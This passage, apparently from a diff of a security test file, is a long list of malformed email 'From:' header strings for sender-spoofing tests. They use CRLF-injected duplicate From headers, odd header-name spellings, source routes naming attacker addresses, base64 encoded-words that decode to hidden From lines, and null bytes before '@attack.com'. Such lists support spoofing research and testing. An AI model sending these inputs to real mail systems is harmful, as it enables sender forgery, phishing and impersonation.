<=?utf-8?RnJvbTp3ZWJtYXN0ZXJAcXEuY29tDQo==?=>", + " From: \r\nFrom:<@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + "From:attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + " From: \r\nFrom:(\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + " Fromÿ: \r\nFrom:word.word(comment),(hi)(hi)\r\n", + " From:hr@icloud.com\r\n", + " FrOM: \r\nFrom:Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + "From :,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + " From:word(\r\n)(comment),attacker@gmail.com,\r\n", + "From: Mike@top.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAeW1haWwuY29tLmNuLEJvYkBpY2xvdWQuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTpNaWtlQGhvdG1haWwuY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206YWRtaW5AeW1haWwuY29tLmNuPihjb21tZW50KSx3b3Jkd29yZDx3ZWJtYXN0ZXJAMTM5LmNvbT4oY29tbQ0KZW50KQ0K=?=>", + " Fromÿ: \r\nFrom:(comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + "From:,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + " FrOM: \r\nFrom:webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + "From:", + "From: wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + " From: \r\nFrom:security@126.com,(hi),\r\n", + "From: hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKGhpKSwoY29tbQ0KZW50KSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAZ21haWwuY29tPiwsDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkLihjb21tZW50KTxNaWtlQG1zbi5jb20+DQo==?=>", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206Qm9iQGdtYWlsLmNvbT4oY29tbQ0KZW50KSwoKQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKA0KKTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxMjYuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLHdvcmQoKTxhZG1pbkB5bWFpbC5jb20+KGNvbW1lbnQpDQo==?=>\u0000@attack.com", + " From:security@hotmail.com,,\r\n", + " From: \r\nFrom:hr@msn.com\r\n", + "From: (hi)(comment),(comment),(\r\n)\r\n", + " From:(comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + "From :word<@a.com:@b.com:Bob@sina.cn>()\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20uY24sKGNvbW1lbnQpDQo==?=>", + " From: \r\nFrom:(hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),(hi)\r\n", + " Fromÿ: \r\nFrom:(hi)(comment),(comment),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosLHdvcmQoY29tbQ0KZW50KTxrZXlAZm94bWFpbC5jb20+KGNvbW1lbnQpLCwsd29yZHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBzaW5hLmNvbT4NCg===?=>", + "From: \r\nFrom:Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBxcS5jb20sTWlrZUBxcS5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKCksd29yZCgpKGhpKSgNCikoY29tbWVudCkoaGkpPHNlY3VyaXR5QHNpbmEuY24+KCkNCg===?=>", + "From :attacker@china.com,(comment)\r\n", + "From :<@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + " From:(),,word()\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUB5bWFpbC5jb20uY24sLHdvcmQ8aHJAbGl2ZS5jb20+LChjb21tZW50KQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:attacker@gmail.com\r\n", + "From :wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + " From:<@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + "From: <@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + "From :()<@gmail.com:@b.com:key@top.com>\r\n", + " From:Bob@sina.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbg0K=?=>", + " FrOM: \r\nFrom:hr@139.com\r\n", + "From :security@china.com\r\n", + " From: \r\nFrom:Bob@139.com,,wordwordwordwordword(hi),\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGEuY29tOkBiLmNvbTprZXlAMTYzLmNvbT4oY29tbQ0KZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTpCb2JAZ21haWwuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + "From:Alice@139.com\r\n", + "From: <=?utf-8?RnJvbTo8YWRtaW5AaWNsb3VkLmNvbT4oY29tbQ0KZW50KSw8QGEuY29tOkBiLmNvbTphZG1pbkBob3RtYWlsLmNvbT4oY29tbWVudCksPEFsaWNlQDE2My5jb20+KGhpKQ0K=?=>", + "From: <=?utf-8?RnJvbTphZG1pbkBhbGl5dW4uY29tLHNlY3VyaXR5QG91dGxvb2suY29tDQo==?=>", + "From:Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + "From:attacker@outlook.com\r\n", + "From :admin@icloud.com\r\n", + "From: \r\nFrom:hr@126.com\r\n", + " From:(hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + " FrOM: \r\nFrom:(comment),(\r\n),webmaster@qq.com\r\n", + " Fromÿ: \r\nFrom:attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + "From:hr@msn.com\r\n", + "From: ,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + " Fromÿ: \r\nFrom:security@china.com\r\n", + " From: \r\nFrom:word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + " From: \r\nFrom:(\r\n),\r\n", + "From: \r\nFrom:(comment),(\r\n),webmaster@qq.com\r\n", + " FrOM: \r\nFrom:Alice@139.com\r\n", + " From: \r\nFrom:(\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpBbGljZUBpY2xvdWQuY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word..()(comm\r\nent)\r\n", + " FrOM: \r\nFrom:(comment),security@msn.com,,,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOmtleUB5bWFpbC5jb20uY24+KA0KKQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:attacker@139.com\r\n", + " From: \r\nFrom:wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLihjb21tZW50KTxNaWtlQG1zbi5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpockAxMzkuY29tDQo==?=>\u0000@attack.com", + "From:,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + " From:(),(\r\n)(),(hi),\r\n", + " From: \r\nFrom:security@china.com\r\n", + "From:(hi)<@a.com:@b.com:admin@139.com>,()\r\n", + "From:key@sohu.com\r\n", + " Fromÿ: \r\nFrom:wordword(comm\r\nent)(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksc2VjdXJpdHlAbXNuLmNvbSwsLA0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQGxpdmUuY29tPigpLCgpLA0K=?=>\u0000@attack.com", + "From:(comment)(\r\n),\r\n", + " From:word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + " From:word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + "From :(comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + "From :word<@a.com:@b.com:admin@china.com>()\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20NCg===?=>", + " From: \r\nFrom:wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + " From:Bob@gmail.com\r\n", + "From :(),,word()\r\n", + " From:,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + "From :admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOkFsaWNlQGZveG1haWwuY29tPg0K=?=>", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUAxMjYuY29tPix3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQHFxLmNvbT4oY29tbWVudCkNCg===?=>", + " From:word()(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tDQo==?=>\u0000@attack.com", + "From :Mike@foxmail.com,hr@aliyun.com\r\n", + "From: ,hr@139.com\r\n", + " From:word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + "From: \r\nFrom:Mike@163.com,webmaster@139.com\r\n", + "From: (comment),(\r\n),webmaster@qq.com\r\n", + "From: \r\nFrom:,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + "From: \r\nFrom:webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + " From:wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + " FrOM: \r\nFrom:(comm\r\nent)\r\n", + "From: \r\nFrom:(\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + "From :wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + " From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + "From :hr@126.com\r\n", + "From:word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + "From:hr@live.com,Mike@outlook.com\r\n", + "From :<@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + "From: \r\nFrom:,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + " From:,admin@icloud.com\r\n", + " FrOM: \r\nFrom:word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOnNlY3VyaXR5QDEzOS5jb20+LChoaSk8QWxpY2VAMTI2LmNvbT4sPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQDE2My5jb20+KA0KKQ0K=?=>", + "From:()<@gmail.com:@b.com:key@top.com>\r\n", + "From: (hi)<@a.com:@b.com:admin@139.com>,()\r\n", + " FrOM: \r\nFrom:wordwordwordword(),webmaster@china.com\r\n", + "From: <=?utf-8?RnJvbTpockBsaXZlLmNvbQ0K=?=>", + "From: \r\nFrom:,hr@icloud.com,,(hi)\r\n", + "From: \r\nFrom:security@hotmail.com,,\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQHRvcC5jb20+DQo==?=>\u0000@attack.com", + " From: \r\nFrom:Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + " From:hr@163.com\r\n", + " FrOM: \r\nFrom:security@china.com,Mike@top.com\r\n", + "From :hr@qq.com\r\n", + "From: \r\nFrom:,Alice@126.com,hr@gmail.com,,,\r\n", + "From :wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKCksLChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206TWlrZUAxMjYuY29tPiwoDQopPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGhvdG1haWwuY29tPiwsKA0KKSwoaGkpLChjb21tDQplbnQpLCwsDQo==?=>", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + "From :word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + "From :word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + "From :Alice@sina.cn,(hi),(comment),,,\r\n", + "From:word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCkuLigpPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+LHdlYm1hc3RlckBmb3htYWlsLmNvbQ0K=?=>\u0000@attack.com", + " From:Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + "From: \r\nFrom:(\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + " Fromÿ: \r\nFrom:,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + " FrOM: \r\nFrom:,hr@live.com,(comment)\r\n", + " From: \r\nFrom:,(),(hi),Bob@139.com,,(),\r\n", + " FrOM: \r\nFrom:word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + " FrOM: \r\nFrom:webmaster@sina.cn\r\n", + "From: (comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + "From: \r\nFrom:\r\n", + " Fromÿ: \r\nFrom:,(comment),,key@live.com,,(hi),\r\n", + "From: <=?utf-8?RnJvbTprZXlAb3V0bG9vay5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTooDQopPGFkbWluQHNpbmEuY24+KCksd29yZDxAcXEuY29tOkAxNjMuY29tOmFkbWluQGxpdmUuY29tPiw8d2VibWFzdGVyQG91dGxvb2suY29tPix3b3JkKGNvbW1lbnQpKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmFkbWluQG91dGxvb2suY29tPix3b3Jkd29yZHdvcmQoKTxNaWtlQGxpdmUuY29tPihjb21tDQplbnQpLHdlYm1hc3RlckBhbGl5dW4uY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:security@163.com\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206TWlrZUBhbGl5dW4uY29tPihoaSkNCg===?=>", + " FrOM: \r\nFrom:(comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + " From: \r\nFrom:<@a.com:@b.com:webmaster@live.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbiw8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAeW1haWwuY29tLmNuPigpLCx3b3JkPGhyQHFxLmNvbT4NCg===?=>", + "From :(),webmaster@gmail.com\r\n", + " FrOM: \r\nFrom:security@sohu.com\r\n", + "From :(hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + "From: \r\nFrom:,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTooKTxAZ21haWwuY29tOkBiLmNvbTprZXlAdG9wLmNvbT4NCg===?=>", + "From :,admin@icloud.com\r\n", + "From: \r\n", + " From:(comment),(\r\n),webmaster@qq.com\r\n", + "From:webmaster@qq.com\r\n", + " Fromÿ: \r\nFrom:(hi),(hi)\r\n", + " Fromÿ: \r\nFrom:Mike@foxmail.com,Bob@163.com\r\n", + " Fromÿ: \r\nFrom:attacker@sina.cn,admin@live.com\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLDxBbGljZUBzaW5hLmNuPixrZXlAbGl2ZS5jb20sLChoaSksDQo==?=>\u0000@attack.com", + "From:word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + "From:,hr@live.com,,,(\r\n)\r\n", + "From: word(comment),(\r\n)\r\n", + " From: \r\nFrom:Bob@qq.com\r\n", + " FrOM: \r\nFrom:security@126.com,(hi),\r\n", + "From: \r\nFrom:hr@live.com\r\n", + "From: <=?utf-8?RnJvbTosQm9iQHltYWlsLmNvbSx3b3Jkd29yZChjb21tZW50KS4uLjxNaWtlQGZveG1haWwuY29tPigpDQo==?=>\u0000@attack.com", + "From: \r\nFrom:,(hi),,,,\r\n", + " Fromÿ: \r\nFrom:attacker@outlook.com\r\n", + " From:word(comment),(\r\n)\r\n", + " FrOM: \r\nFrom:attacker@gmail.com\r\n", + " From:,hr@live.com,,,(\r\n)\r\n", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + " Fromÿ: \r\nFrom:Bob@sina.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY29tPg0K=?=>", + " From:word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + " Fromÿ: \r\nFrom:wordword()\r\n", + "From: <=?utf-8?RnJvbTosQWxpY2VAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:()\r\n", + "From :word.word(comment),(hi)(hi)\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAYWxpeXVuLmNvbSx3b3JkLihjb21tDQplbnQpKGNvbW0NCmVudCkoaGkpKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAMTI2LmNvbT4oKSxrZXlAZ21haWwuY29tDQo==?=>", + "From: word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + "From: \r\nFrom:webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + "From:\r\n", + "From :admin@aliyun.com,security@outlook.com\r\n", + " Fromÿ: \r\nFrom:word(\r\n)\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + "From :key@sina.cn\r\n", + " Fromÿ: \r\nFrom:Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + " FrOM: \r\nFrom:wordwordword(comment),\r\n", + " From:(comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + "From: word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + "From: \r\nFrom:,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + "From:(),,word()\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:Mike@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpBbGljZUBpY2xvdWQuY29tPihjb21tDQplbnQpDQo==?=>", + "From:,(hi),,,,\r\n", + "From: \r\nFrom:word()(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQGdtYWlsLmNvbT4NCg===?=>", + " From: \r\nFrom:(\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + " From:word<@qq.com:@163.com:admin@ymail.com>()\r\n", + "From:(comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + " FrOM: \r\nFrom:(\r\n),\r\n", + "From: Alice@ymail.com.cn,\r\n", + "From:<@a.com:@b.com:webmaster@live.com>(hi)\r\n", + "From:attacker@hotmail.com,Bob@outlook.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBob3RtYWlsLmNvbSxCb2JAb3V0bG9vay5jb20NCg===?=>", + " From: \r\nFrom:(comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + " From:(comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + " Fromÿ: \r\nFrom:,(),(hi),Bob@139.com,,(),\r\n", + "From :Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + "From :<@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + " Fromÿ: \r\nFrom:word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAMTM5LmNvbT4oY29tbQ0KZW50KSwoY29tbWVudCk8Qm9iQG91dGxvb2suY29tPiw8QHFxLmNvbTpAMTYzLmNvbTphZG1pbkBnbWFpbC5jb20+KA0KKQ0K=?=>\u0000@attack.com", + "From:(comment),,,Alice@icloud.com\r\n", + " From:admin@139.com\r\n", + "From:security@china.com\r\n", + " FrOM: \r\nFrom:Bob@outlook.com\r\n", + " From: \r\nFrom:word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + "From: Mike@ymail.com.cn,attacker@139.com\r\n", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:admin@china.com>()\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpPEBhLmNvbTpAYi5jb206Qm9iQGhvdG1haWwuY29tPigNCikNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + "From: security@126.com,(hi),\r\n", + "From: ", + "From: \r\nFrom:admin@139.com\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + "From :(\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + " From: \r\nFrom:(comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + "From :(comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + "From:hr@126.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tLEJvYkAxNjMuY29tDQo==?=>", + " Fromÿ: \r\nFrom:webmaster@126.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQGhvdG1haWwuY29tPihjb21tZW50KSxhdHRhY2tlckAxMzkuY29tDQo==?=>", + "From :Bob@foxmail.com\r\n", + " FrOM: \r\nFrom:Alice@ymail.com.cn\r\n", + "From :(),webmaster@ymail.com\r\n", + "From: <=?utf-8?RnJvbTo8TWlrZUBjaGluYS5jb20+DQo==?=>", + "From: \r\nFrom:,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + "From: \r\nFrom:attacker@outlook.com\r\n", + "From: (comm\r\nent)\r\n", + " From:key@sina.com,key@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTosQm9iQHltYWlsLmNvbSx3b3Jkd29yZChjb21tZW50KS4uLjxNaWtlQGZveG1haWwuY29tPigpDQo==?=>", + " From:,,(comm\r\nent),word()(comment)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBjaGluYS5jb20sPHdlYm1hc3RlckBzaW5hLmNvbT4oY29tbWVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTooY29tbWVudCksLCxBbGljZUBpY2xvdWQuY29tDQo==?=>", + "From: attacker@sina.com\r\n", + "From :,hr@live.com,,,(\r\n)\r\n", + " FrOM: \r\nFrom:<@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKA0KKSx3ZWJtYXN0ZXJAcXEuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:\r\n", + " From: \r\nFrom:Mike@foxmail.com,Bob@163.com\r\n", + "From:Alice@live.com,(hi),word(comment)(comment)\r\n", + "From: <=?utf-8?RnJvbTpockAxNjMuY29tLChoaSk8QGdtYWlsLmNvbTpAYi5jb206aHJAeW1haWwuY29tLmNuPixockBhbGl5dW4uY29tDQo==?=>\u0000@attack.com", + " From:(comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + "From :(\r\n),,webmaster@qq.com,\r\n", + " From:key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + " From:security@163.com\r\n", + " FrOM: \r\nFrom:word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxhZG1pbkBob3RtYWlsLmNvbT4oY29tbWVudCksYXR0YWNrZXJAZ21haWwuY29tLA0K=?=>", + " Fromÿ: \r\nFrom:Bob@139.com,,wordwordwordwordword(hi),\r\n", + " From: \r\nFrom:Mike@top.com\r\n", + " Fromÿ: \r\nFrom:,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBtc24uY29tLHdvcmR3b3Jkd29yZChjb21tZW50KTxCb2JAZm94bWFpbC5jb20+KA0KKSxNaWtlQGFsaXl1bi5jb20sPE1pa2VAMTYzLmNvbT4oKSx3b3JkKGNvbW0NCmVudCkoY29tbQ0KZW50KShoaSkoKTxAYS5jb206QGIuY29tOndlYm1hc3RlckAxNjMuY29tPix3b3JkKGNvbW0NCmVudCk8d2VibWFzdGVyQHFxLmNvbT4oKQ0K=?=>\u0000@attack.com", + "From: word(comm\r\nent),(hi)\r\n", + "From: ,hr@icloud.com,,(hi)\r\n", + "From :word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + "From: webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + "From: \r\nFrom:,(),(hi),Bob@139.com,,(),\r\n", + "From :security@sohu.com\r\n", + "From:,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + "From: word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + " From:Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + "From: \r\nFrom:admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + "From: \r\nFrom:(comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + "From:(),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + " From: \r\nFrom:,hr@live.com,,,(\r\n)\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAYS5jb206QGIuY29tOmFkbWluQHltYWlsLmNvbT4oaGkpLGhyQHRvcC5jb20NCg===?=>\u0000@attack.com", + "From:Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW0NCmVudCksTWlrZUBpY2xvdWQuY29tLChjb21tDQplbnQpPGFkbWluQGljbG91ZC5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + "From: 